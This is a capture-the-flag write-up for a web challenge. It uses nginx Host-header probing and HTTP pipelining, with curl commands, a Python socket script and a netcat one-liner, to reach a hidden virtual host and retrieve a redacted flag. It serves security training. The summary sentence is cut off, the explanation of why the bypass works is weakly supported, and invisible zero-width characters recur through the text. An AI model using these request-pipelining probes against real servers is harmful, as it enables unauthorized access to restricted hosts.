Контрабанда (Smuggling)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: Hidden virtual host access via connection reuse, HTTP Pipelining (multiple requests in single TCP connection), Source code analysis for domain hints, Virtual host enumeration via Host header

Summary

Walkthrough of the CUSTOM Web Контрабанда (Smuggling). Task: Access hidden virtual host on nginx server. Solution: HTTP pipelining attack - send two requests in single TCP connection, first to public site, second to hidden vhost wallets.cdb discovered via

Description

"Что это у Вас? HTTP-запросы? Кажется один лишний!"

The task name "Контрабанда" (smuggling) and the description about an "extra request" hint at the HTTP Request Smuggling/Pipelining technique.

Analysis

Reconnaissance

1. Server: nginx/1.17.6
2. Content: Static BitCYPO site (cryptocurrency template)
3. POST requests: Return 405 Not Allowed
4. Hint in source code: Email admin@wallets.cdb points to a virtual host

Virtual Host Discovery

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When testing different Host header values:

 bash read-only • copy allowed Copy
# Public site (default server)
curl -H "Host: 62.173.140.174:16056" http://62.173.140.174:16056/
# → 200 OK (BitCYPO template)

# Hidden virtual host
curl -H "Host: wallets.cdb" http://62.173.140.174:16056/
# → 404 Not Found (separate virtual host!)

# Any other host
curl -H "Host: random.domain" http://62.173.140.174:16056/
# → 200 OK (default server)

Conclusion: wallets.cdb is a separate virtual host with restricted access.

HTTP Pipelining

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

nginx supports HTTP pipelining — the ability to send multiple HTTP requests in a single TCP connection without waiting for responses.

Key feature: nginx processes each request in the pipeline separately, using the Host header to route to the corresponding virtual host.

Solution

Exploitation

Send two requests in a single TCP connection:

1. First request — to the public site (to establish the connection)
2. Second request — to the hidden virtual host wallets.cdb at path /wallets

Exploit

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 python read-only • copy allowed Copy
#!/usr/bin/env python3
"""
HTTP Pipelining attack to access hidden virtual host
"""
import socket

def exploit():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("62.173.140.174", 16056))
    
    # HTTP Pipelining - two requests in one connection
    req = "GET / HTTP/1.1\r\n"
    req += "Host: 62.173.140.174:16056\r\n"
    req += "\r\n"
    
    req += "GET /wallets HTTP/1.1\r\n"
    req += "Host: wallets.cdb\r\n"
    req += "\r\n"
    
    s.send(req.encode())
    
    # Receive both responses
    resp = s.recv(65536)
    print(resp.decode())
    
    s.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    exploit()

Alternative with netcat

 bash read-only • copy allowed Copy
printf "GET / HTTP/1.1\r\nHost: 62.173.140.174:16056\r\n\r\nGET /wallets HTTP/1.1\r\nHost: wallets.cdb\r\n\r\n" | nc 62.173.140.174 16056

Result

The second response contains the flag from the wallets.cdb virtual host:

HTTP/1.1 200 OK
...
CODEBY{REDACTED}

Why This Works

1. HTTP/1.1 Keep-Alive: By default, the connection remains open for multiple requests
2. Pipelining: The client can send multiple requests without waiting for responses
3. Virtual Host Routing: nginx routes each request separately based on the Host header
4. Bypassing restrictions: Direct access to wallets.cdb may be blocked, but through pipelining in an existing connection — it works ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Related Techniques

• HTTP Request Smuggling (CL.TE, TE.CL) — more complex attacks on proxies
• Host Header Injection — Host header manipulation
• Virtual Host Enumeration — searching for hidden virtual hosts
• HTTP Desync Attacks — desynchronization between frontend and backend

References

• HTTP Request Smuggling - PortSwigger
• HTTP Pipelining - MDN
• nginx Virtual Hosts ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering Hidden virtual host access via connection reuse, HTTP Pipelining (multiple requests in single TCP connection), Source code analysis for domain hints, Virtual host enumeration via Host header was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Контрабанда (Smuggling) • Difficulty: Medium